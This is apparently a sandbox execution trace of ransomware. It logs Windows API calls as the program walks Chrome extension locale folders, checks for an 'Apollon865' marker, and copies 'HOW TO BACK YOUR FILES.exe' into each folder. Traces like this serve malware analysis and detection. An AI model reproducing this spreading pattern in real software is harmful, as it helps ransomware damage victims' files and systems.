	[0047.937] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a473f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a473f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.937] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.937] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.937] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.937] lstrlenW (lpString="messages.json") returned 13
	[0047.937] lstrlenW (lpString="Apollon865") returned 10
	[0047.937] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.937] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl"
	[0047.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacf8 | out: hHeap=0x580000) returned 1
	[0047.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x580000) returned 1
	[0047.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl") returned 137
	[0047.937] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl"
	[0047.937] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.937] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.942] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a473f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a473f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.942] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.942] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.942] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.942] lstrlenW (lpString="messages.json") returned 13
	[0047.942] lstrlenW (lpString="Apollon865") returned 10
	[0047.942] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.943] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv"
	[0047.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5babd0 | out: hHeap=0x580000) returned 1
	[0047.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffc8 | out: hHeap=0x580000) returned 1
	[0047.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv") returned 137
	[0047.943] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv"
	[0047.943] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.943] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.947] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.947] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a6d550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a6d550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.947] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.947] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.947] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.947] lstrlenW (lpString="messages.json") returned 13
	[0047.947] lstrlenW (lpString="Apollon865") returned 10
	[0047.947] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.947] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt"
	[0047.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baaa8 | out: hHeap=0x580000) returned 1
	[0047.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffa8 | out: hHeap=0x580000) returned 1
	[0047.947] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt") returned 137
	[0047.947] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt"
	[0047.947] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.948] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.952] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a6d550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a6d550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.952] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.952] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.952] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.952] lstrlenW (lpString="messages.json") returned 13
	[0047.952] lstrlenW (lpString="Apollon865") returned 10
	[0047.952] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.952] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko"
	[0047.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba980 | out: hHeap=0x580000) returned 1
	[0047.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff88 | out: hHeap=0x580000) returned 1
	[0047.952] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko") returned 137
	[0047.952] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko"
	[0047.952] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.952] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.957] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.957] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a6d550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a6d550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.957] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.957] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.957] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.957] lstrlenW (lpString="messages.json") returned 13
	[0047.957] lstrlenW (lpString="Apollon865") returned 10
	[0047.957] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.957] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja"
	[0047.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba858 | out: hHeap=0x580000) returned 1
	[0047.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff68 | out: hHeap=0x580000) returned 1
	[0047.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja") returned 137
	[0047.957] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja"
	[0047.957] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.957] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.962] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a936b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a936b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.962] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.962] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.962] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.962] lstrlenW (lpString="messages.json") returned 13
	[0047.962] lstrlenW (lpString="Apollon865") returned 10
	[0047.962] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.962] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it"
	[0047.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa140 | out: hHeap=0x580000) returned 1
	[0047.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff48 | out: hHeap=0x580000) returned 1
	[0047.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it") returned 137
	[0047.962] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it"
	[0047.962] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.962] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.977] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.977] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34a936b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34a936b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.977] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.977] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.978] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.978] lstrlenW (lpString="messages.json") returned 13
	[0047.978] lstrlenW (lpString="Apollon865") returned 10
	[0047.978] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.978] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id"
	[0047.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa020 | out: hHeap=0x580000) returned 1
	[0047.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x580000) returned 1
	[0047.978] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id") returned 137
	[0047.978] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id"
	[0047.978] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
